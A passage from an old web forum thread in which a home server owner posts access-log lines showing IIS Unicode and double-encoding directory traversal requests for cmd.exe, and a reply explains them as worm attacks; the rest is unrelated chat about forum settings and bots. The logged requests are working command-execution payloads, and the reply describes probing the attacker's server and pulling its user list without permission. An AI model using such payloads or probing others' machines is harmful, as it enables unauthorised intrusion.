Webserver Security

  • Thread starter Thread starter sOma
  • Start date Start date
S

sOma

Guest
I run an apache server from my house on Win2k, and while I was rooting through the logs, I came across this:

66.209.93.2 - - [07/Feb/2002:08:14:43 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 286
66.209.93.2 - - [07/Feb/2002:08:14:45 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 286
66.209.93.2 - - [07/Feb/2002:08:14:46 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300
66.209.93.2 - - [07/Feb/2002:08:14:48 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 317
66.209.93.2 - - [07/Feb/2002:08:14:49 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 317
66.209.93.2 - - [07/Feb/2002:08:14:50 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
66.209.93.2 - - [07/Feb/2002:08:14:51 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
66.209.93.2 - - [07/Feb/2002:08:14:52 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
66.209.93.2 - - [07/Feb/2002:08:14:54 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
66.209.93.2 - - [07/Feb/2002:08:14:58 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
66.209.93.2 - - [07/Feb/2002:08:15:00 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283
66.209.93.2 - - [07/Feb/2002:08:15:01 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283
66.209.93.2 - - [07/Feb/2002:08:15:02 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300
66.209.93.2 - - [07/Feb/2002:08:15:03 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300

does anyone know is this is this something I should be worrying about?
 
Those were attacks on IIS using a unicode bug to try and execute a remote command.

I think that the site has one of the older viruses inserted on it (code red most likely) and it's trying to spread itself to you. I did some quick analysis and it looks like the bug would work on its server (66.209.93.2), the server also has some netbios issues that could complicate their lack of security (was able to retrieve groups/user list from the machine).
They're part of some company named LBD.
 
You must log in or register to reply here.
General chit-chat
Help Users
  • No one is chatting at the moment.
  • The Helper The Helper:
    Also, in the last template there was a seperation between sticky threads and regular threads in the forum
  • Ghan Ghan:
    Not sure. It's probably part of a cron job.
  • The Helper The Helper:
    Hey Ghan, whatever cron job its part of its not running its been the same for days. If it does not work can we remove it?
  • Ghan Ghan:
    More here: https://xenforo.com/community/threads/why-are-my-trending-content-threads-not-trending.232452/
  • The Helper The Helper:
    LOL! A tweak job!
  • The Helper The Helper:
    this is the fix I get from that yeah this is hard to control. disabling bots is pretty much necessary as ai and other bots would push really old threads to the top. reduce weight of view count. disable guest view tracking if you really want to push active threads to the top. a bit of tinkering for a few days with the weights and other settings should get you a decent trending widget box.
  • Ghan Ghan:
    I changed the settings a bit.
  • Ghan Ghan:
    Narrowed it to 7 days for the half-life and set views to 0 weight.
  • The Helper The Helper:
    I dont think Trending would work for this forum it would be better to just have the last 5 posts from anywhere
  • Ghan Ghan:
    Probably will have to give it some time to update.
  • Ghan Ghan:
    I'm guessing it is not retroactive.
  • Ghan Ghan:
    Next on the punch list: Update the server to Ubuntu 24.04.
  • The Helper The Helper:
    Mad Lads is new I see it displays original post date
  • The Helper The Helper:
    as long as it changes it is good - it is good now it updated and its new stuff
  • The Helper The Helper:
    One thing I have noticed and I dont know if it is by design but like 1 out of 3 times I come to the site the Anubis screen just hangs open, if I refresh it will go away but sometimes it hangs
  • Ghan Ghan:
    I've seen that as well.
  • The Helper The Helper:
    Wow - the change in the stats are major. I kind of knew it was all bots but wow, to see the effect. Why the social media sites cant do something like this I have no idea.
  • Ghan Ghan:
    Probably inflates their numbers so they look better to advertisers.
  • The Helper The Helper:
    Yeah google does not filter those bots. I remember when Apex was doing Google ads I saw the same IPs in there as I was seeing here - google is totally tracking all those bots as traffic and most google traffic, at least ours, was all bots
  • The Helper The Helper:
    oh wow, i bet i can post x links now and do the webp pics now giggity
  • The Helper The Helper:
    ahh anubis blocks anyone that has javascript turned off
  • The Helper The Helper:
    Robot: HTTP client library - i love the new robot :)
  • The Helper The Helper:
    New Science News Forum and it starts out with 420 threads :)
  • The Helper The Helper:
    Technical Support forum name changed To Technology News, there is now a Tech, sci/tech and science forums now :)
  • The Helper The Helper:
    Happy Saturday! Hope everyone has a fantastic weekend!

The Helper Discord

Members online

No members online now.
Online now:
102 (members: 0, guests: 102)

Share this page

Affiliates

Hive Workshop NUON Dome World Editor Tutorials
Back
Top